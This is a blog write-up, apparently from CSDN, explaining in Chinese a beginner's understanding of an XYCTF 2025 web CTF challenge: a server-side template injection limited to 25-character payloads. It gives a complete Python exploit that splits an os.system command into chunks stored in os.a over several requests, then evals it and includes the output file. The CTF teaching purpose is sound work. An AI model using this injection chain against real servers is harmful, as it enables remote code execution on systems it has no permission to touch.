[XYCTF 2025 web 出题人已疯]以新手角度快速理解官方exp的解题思路

3线SWD接线终极指南:用Jlink调试非3.3V设备的5个关键细节 本文详细解析了使用Jlink调试非3.3V设备时,3线SWD接线的5个关键细节。核心在于正确理解并连接Vref引脚以实现电压适配,避免供电冲突,并掌握精简接线法与固件修复技巧。文章以STM32F205等芯片为例,指导开发者安全、高效地进行混合电压调试。 阅读详情
AI摘要

本文以新手角度记录理解XYCTF 2025一道SSTI漏洞题的过程。该题要求攻击payload长度不超25,作者先介绍原理,即利用python特性修改os模块属性;接着逐步写脚本,将payload分组,本地测试后发送到服务器运行,还解释了代码不同位置的差异,最后给出完整exp。

前言

这是一道非常简洁明了的ssti漏洞题目,就是要求攻击payload长度不得高于25。在LamentXU大佬的官方wp中写道:

“直接往os里塞字符。随后一起拿出来exec。这样子就可以实现SSTI。”

这对于我这种新手来说理解上是非常抽象且困难的。本篇文章我将记录下我以一个新手的角度理解这道题目的过程

原理

由于python的特性,我们可以将变量赋值给os模块中的属性,这个属性可以是自己新定义的,比如像这样

import os  

# 设置环境变量  
os.environ['MY_VARIABLE'] = 'some_value'  

# 获取环境变量  
print(os.environ['MY_VARIABLE'])  # 输出: some_value

这样我们就成功将os中的环境变量属性修改成了some_value。

import os

os.a="abc"

print(os.a)

根据这个原理我们可以完成这个题目

我们来一点一点写这个脚本

import os
 url=""
 payload="__import__('os').system('ls />123')"
 p=[payload[i,i+2] for i in range(0,len(payload),2)]

先准备好我们要塞进变量的payload,然后我们把这段payload分成两个两个一组的片段列表,每组的长度取决于拼接代码的总长度,因为拼接的代码也要在payload处执行,所以整个payload的长度不得长于25。

 flag=True
 for i in p:
     if flag:
         tmp=f'\n%import os;os.a="{i}"'
         flag=False
     else:
         tmp=f'\n%import os;a+="{i}"'

这一段是我觉得非常巧妙的一个往os.a变量里面塞入字符串的算法,首先令flag的布尔值等于True,然后for i in p遍历p里面的每一个元素,当flag=True的时候,利用a=“{i}”拼接第一个元素进去,此时tmp变量的值为

 \n%import os;os.a="__"

然后将flag的布尔值设置为false,然后利用a+=“{i}”实现往os.a后面拼接剩余字符串的功能。拆分来看就像这样

 \n%import os;os.a="__"
 \n%import os;os.a="__im"
 \n%import os;os.a="__impo"
 \n%import os;os.a="__import"
 ...
 \n%import os;os.a="__import__('os').system('ls />12"
 \n%import os;os.a="__import__('os').system('ls />123'"
 \n%import os;os.a="__import__('os').system('ls />123')"

我们可以本地修改代码运行一下看看运行结果是否和预期相同

import os

payload="__import__('os').system('cat /f*>222222')"

p=[payload[i:i+4] for i in range(0,len(payload),4)]

flag=True
for i in p:
    if flag:
        os.a=i
        flag=False
    else:
        os.a+=i
    print(os.a)

这个代码是将字符串拆分四个为一组,四个四个向里面添加字符串,可以看到效果和我们预期的一样。如果我们修改的是服务器端os的属性值,我们就可以eval(os.a)直接执行塞入的字符串了。

回到这道题目,我们将tmp的内容发送至服务器端运行

 flag=True
 for i in p:
     if flag:
         tmp=f'\n%import os;os.a="{i}"'
         flag=False
     else:
         tmp=f'\n%import os;a+="{i}"'
     r=requests.get(url,params={"payload":tmp})

这样就成功拼接上了os.a变量。

这里可能会有一个疑问(反正我研究的时候疑惑了)

为什么这里的代码不能这么写

 flag=True
 for i in p:
     if flag:
         tmp=f'\n%import os;os.a="{i}"'
         flag=False
     else:
         tmp=f'\n%import os;a+="{i}"'
 r=requests.get(url,params={"payload":tmp})

我们看这样运行会发生什么

可以看到报500错,也就是说执行的命令格式是不正确的

为什么会这样,我们可以print一下tmp看看tmp在这两个位置的差异

可以看到print在for循环里面的时候会将payload以每三个字符为一组循环塞入os.a,也就是说在这个位置执行r = requests.get(url,params={"payload":tmp})的作用就是运行这好几条代码将os.a的值改变成我们想要的字符串。

我们再换个位置

可以看到print放在循环外面只会输出payload被分割后的最后一个部分,如果在这里执行r = requests.get(url,params={"payload":tmp})的话被塞入os.a的只会是    '),自然就无法成功eval执行。

明白了这个地方后我们继续往下做

 r=requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
 r=requests.get(url,params={"payload":"\n%import os;include('123')"}).text
 print(r)

这样我们就成功拿到了ls /命令的回显。

要用写文件不直接执行的原因是没有回显,所以要写入文件再包含

完整exp

 import requests
 ​
 url='http://gz.imxbt.cn:20935/attack'
 ​
 payload="__import__('os').system('ls />123')"
 ​
 ​
 p=[payload[i:i+4] for i in range(0,len(payload),4)]
 flag=True
 for i in p:
     if flag:
         tmp=f'\n%import os;os.a="{i}"'
         flag=False
     else:
         tmp=f'\n%import os;os.a+="{i}"'
     r=requests.get(url,params={"payload":tmp})
 r=requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
 r=requests.get(url,params={"payload":"\n%include('123')"}).text
 print(r)

Altium Designer操作技巧(4)——如何利用嘉立创EDA来输出3D封装到AD封装库? 本文介绍了利用嘉立创EDA和FreeCAD软件为PCB元件添加3D模型的方法。首先在嘉立创EDA中搜索元件编号并导出3D模型,然后使用FreeCAD删除3D模型中的PCB基板部分,最后将处理后的3D模型导入PCB封装库并更新到PCB设计中。文章详细讲解了每个步骤的操作流程,包括模型导出、基板删除、位置调整等关键环节,并提供了解决常见问题的方法。通过这种方法,电子工程师可以快速获得元器件的3D模型,提高PCB设计的准确性。 阅读详情

相关推荐

图像识别火灾检测系统实战:从火焰特征到YOLO部署全解析

计算机视觉技术正深入改变传统消防的感知方式。图像识别火灾检测利用摄像头采集的视频流,通过颜色、动态和形态特征分析,实现早期火情的自动发现与定位。其核心原理在于,火焰在视觉上具有独特的颜色分布、闪烁特性和轮廓变化,借助目标检测模型如YOLO,可在复杂场景中区分真实火焰与干扰物。这项技术广泛应用于仓库、园区、隧道等大空间场所,是智慧消防的重要支撑。本文从火焰视觉特征、数据集构建、模型选型与系统架构设计出发,结合部署实践中的误报与算力优化经验,为开发者提供一套可落地的视频火焰检测方案。

weixin_42533751的博客 245

2025 XYCTF Pwn-wp(含附件)

总体来说Pwn方向题目难度属于中等,属于那种一眼看不出要咋做,但多试试又能做出来的那种,比赛的时候甚至有几只队伍AK了Pwn方向。

XiDPPython的博客 1867

proteus仿真51单片机操作指南:串口通信仿真配置详解

深入讲解如何在proteus仿真51单片机中实现串口通信,涵盖虚拟串口设置、电路连接与调试技巧,帮助开发者高效完成通信仿真验证。

weixin_36197669的博客 573

XYCTF2025-官⽅WP

然后可以发现密⽂和vm的opcode(这⾥⼀开始产⽣了多解,给各位解题的师傅带来了不好的体验,在这⾥说声抱歉)这类的函数式语⾔程序最⼤的问题在于下内存读写断点是⽆法跟到⽐较逻辑的,这或许就是惰性计算的魅⼒所在吧。会对这个值进⾏计算,惰性列表存储类似于数据结构中的链表,存在头指针,然后跟着的是存储的数。是没有边界检查的,并且是有符号数,这是⼀个很明显的数组越界,保护全开,考虑劫持。⽐赛的时候⽤的这个,也是⼈⽣学的第⼀⻔编程语⾔,出题也有纪念意义了。也就是说,这个只是把指令打散了,我们把他抠出来就⾏了。

小杉泽的博客 1174

手把手教你在全新服务器内网安装OpenEuler 22.03 LTS SP4+ 安装 openGuass 5.0.0(LTS) 数据库

openEuler是面向数字基础设施的操作系统,支持服务器、云计算、边缘计算、嵌入式等应用场景,支持多样性计算,致力于提供安全、稳定、易用的开源服务器Linux操作系统。

cgqyw的专栏 3740

AWS RDS 介绍 三)创建 RDS 实例

AWS RDS 介绍 共分为 7 个部分, 其中 第 3部分重点介绍,如何创建一个RDS 实例。 三) AWS RDS 试用MySQL http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_GettingStarted.CreatingConnecting.MySQL.

XuYongshi02的专栏 7647

XYCTF 2025 web ezsql

尝试,过滤了:*,空格,逗号,union,and,等等(想不起来了)登录进去,这里我尝试了爆破,毕竟是ezsql,但试了一会,放弃,带出flag,访 url/test.txt。发现是 1' 过滤。这次就做出了sql题,我是菜鸡。打开题目,是个登录。

冷鸢的博客 544

Ubuntu\linux,加载mcp2515的驱动,链接mcp2515,mcp2515的这个驱动默认在linux内核中。jetson nao、香橙派、树莓派

3. 其他文章,还要进行驱动编译就比较复杂了(不推荐)1.树莓派+MCP2515+

pvmsmfchcs的博客 1568

XYCTF2025部分WP

XYCTF2025部分WP

2301_79355407的博客 1162

某智能物流无人值守系统 ExportReport SQL注入漏洞复现

某智能物流无人值守系统 ExportReport存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

0xSec 820

TMF8801 ToF激光测距传感器原理图设计,已量产(距离传感器)

这张 TMF8801 小板的外围结构就很有代表性。核心传感器是 U1 TMF8801,但真正构成量产价值的是外围那一圈:U2 把 VCC 整理成 3V,R1/R2/R5 与 R3/R4/R6 两组 10K 电阻稳定默认态,Q2 2N7002 和 U3 SN74LVC2G07DCKR 处理控制链路,传感器边上还有 C1/C4/C5 三颗 100nF 紧贴去耦。

不脱发的程序猿 160

XYCTF2025 web 全wp

XYCTF2025 web 全wp

竹盐笙熙的博客 3122

基于Simulink的光伏-储能-柴油机混合微网仿真

摘要:本文基于Simulink平台构建光伏-储能-柴油机混合微网仿真模型,实现可再生能源与备用电源的协同控制。通过光伏优先、储能调节、柴油机兜底的规则控制策略,在24小时仿真中验证了系统在晴天、阴天和夜间三种典型工况下的运行性能。模型采用PVArray模块模拟光伏发电,Simscape电气库构建储能系统,自定义MATLAB函数实现柴油机启停逻辑和能量管理。仿真结果显示系统功率平衡误差<5%,储能SOC维持在20%-80%,柴油机日均运行时间<4小时,满足设计指标。文章详细说明了建模步骤、参数设置

xiaoheshang_123的博客 70

利用解析差异SSRF + sqlite注入 + waf逻辑漏洞 -- xyctf 2025 fate WP

看起来,我们的第一步是尝试造成ssrf,访问查询api。本文章附带TP(Thinking Process)!题目没有禁止符号,翻看利用手册尝试利用解析差异访问。的输出是1,而且使用数组可以绕过剩下的waf。显然字典更合适,我应该使用union注入继续。继续传递参数,我们使用双重url编码。只返回了一个结果,我们需要拼接结果。但是这会造成一个意外的冒号。按照代码逆向编写编码器。我们可以试试使用数组。或者我也可以尝试字典。

weixin_59166557的博客 734

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

XYCTF 2025-部分wp

清明假期玩了两天没怎么打,只做了一点解码: 或者参考这篇博客解题过程:下载是个vbs文件,txt可以查看,参照博客记一次VBS逆向 - 漫宿骄盛 - 博客园。把开头改成wscript.echo,就能输出源代码。逆向解出flag: PWN girlfriend 分析 这里存在格式化字符串漏洞 这里存在栈溢出漏洞,能溢出8个字节,刚好能覆盖返回地址,这里使用栈迁移来打。 注意使用mprotect来设置可执行段时要保证页对齐,也就是:data或者bss要以0x000结尾才行 EXP: MISC XGCTF 提示

saulgoodman的博客 932

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

xyctf2025&第三届京麒CTF

直接ai搜索一遍找到了出题人的博客知道了原题是ciscn中的在LamentXU的博客乱逛找到了博客网站,让后搜索ciscn扎到了博客直接f12搜flagbase64编码得到flag。

2403_87862296的博客 1316

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

XYCTF2025wp

首先看题目描述是一道信息搜集题,上网搜XGCTF的wp在一篇wp里看到了原题描述接着找师傅博客直接url栏输入dragonkeeep.top进入博客查看这道题的wp看完解题过程和评论区没找到wp,ctrl+u查看源代码成功找到base64解码。

2301_80167625的博客 1204

CTF是什么?一文带你读懂网络安全大赛

现在的CTF比赛一般由专业队伍承担比赛平台、命题、赛事组织以及拥有自动化积分系统。参赛队伍需提交参赛申请,并且由DEF CON会议组织者们进行评选。比赛侧重于对计算机底层和系统安全的核心能力。

xx16755498979的博客 3461

[XYCTF 2025 Web Signin]快速理解bottle模板的set_cookie和get_cookie的原理,利用get_cookie伪造cookie进行pickle反序列化执行命令

以萌新的角度快速理解get_cookie和set_cookie的原理,并利用get_cookie绕过对cookie的判断,利用pickle反序列化进行命令执行

Python1111111的博客 2449

2025版最新网络安全ctf比赛/学习资源整理,解题工具、比赛时间、解题思路、实战靶场、学习路线,推荐收藏!

1、CTF在线工具箱:http://ctf.ssleye.com/ 包含CTF比赛中常用的编码、加解密、算法。2、CTF加解密工具箱:http://www.atoolbox.net/Category.php?Id=273、ctfhub在线工具:https://www.ctfhub.com/#/tools4、还有一些常用的网站字符串2进制互转:http://www.5ixuexiwang.com/str/from-binary.php。

Libra1313的博客 3230

2023最全CTF入门指南(建议收藏)

零基础入门CTF必看

m0_74131821的博客 4490

2025年全国CTF夺旗赛-从零基础入门到竞赛,看这一篇就稳了!

参与当下举行的ctf赛事是最好的学习方法之一,即使是初学者也能够找到一些适合自己能力的赛事,比如极客大挑战、UNCTF、各个大学的新生赛等等都是不错的选择,在比赛中去发现自己知识的不足,然后去针对的补充这部分知识,是很好的学习循环,无需迷茫的去到处获取知识,而是在需要时去学习。后续的学习方法或许该由你自己决定,我在此只给一些建议。当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。

白帽黑客八哥的博客 1060

利用持久变量绕过长度限制 + unicode特性绕过waf-- xyctf 出题人已疯12 复现

这成功了,但是题目无回显,直接运行短小的有效负载并不可能,我或许找到一种方式绕过小于25的限制。成功,服务器端代码与本地无任何差异,但是这似乎只能读取当前目录文件,读取绝对路径时会被禁止。我们最大的有效负载长度为24,减去换行与百分号为22,我有办法使用22个字符执行命令吗。我该如何读取根目录的flag呢,我现应该分析库的代码来寻找现成的open并想办法调用。库对目录穿越的防护很完善,我无法再想到任何方式绕过,或许是原型污染?但是其命名空间均是独立的,我没有办法在模板内污染外围变量。

weixin_59166557的博客 8104

首日赛况!第九届XCTF国际网络攻防联赛总决赛激战启幕

本文报道了2025年10月在宁波举行的第九届XCTF国际网络攻防联赛总决赛,全球28支顶尖战队参与角逐。比赛融合解题赛、Live Solo赛和A&D攻防赛三种赛制,首日比赛已激烈进行。赛事与宁波数字经济深度融合,打造"以赛聚产"的创新生态。明日将进行A&D攻防赛和Live Solo半决赛、决赛,最终冠军将产生。10月26日,2025“AI赋能,以赛促招”宁波北仑数字经济协同创新重点项目推介会暨第九届XCTF国际网络攻防联赛总决赛、“长城杯”网数智安全大赛邀请赛在浙江宁波正式打响!

ewii12567的博客 1378

XYCTF 2024 部分web wp

XYCTF 2024 部分web wp

焦虑的焦虑 2912

[XYCTF新生赛2024] pwn

用了一周来复现crypto部分(不能算是复现,拿着 糖醋小鸡块的WP一点点学了下)。两天时间复现PWN部分。相对来说PWN比密码这块要简单,不过ARM,MIPS懒得学了,跳过。

weixin_52640415的博客 1535
上一篇: PolarCTF网络安全2025春季个人挑战赛 web方向个人wp
下一篇: [XYCTF 2025 Web Signin]快速理解bottle模板的set_cookie和get_cookie的原理,利用get_cookie伪造cookie进行pickle反序列化执行命令
Acc1oFl4g
博客等级 码龄7年 112粉丝 24原创
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值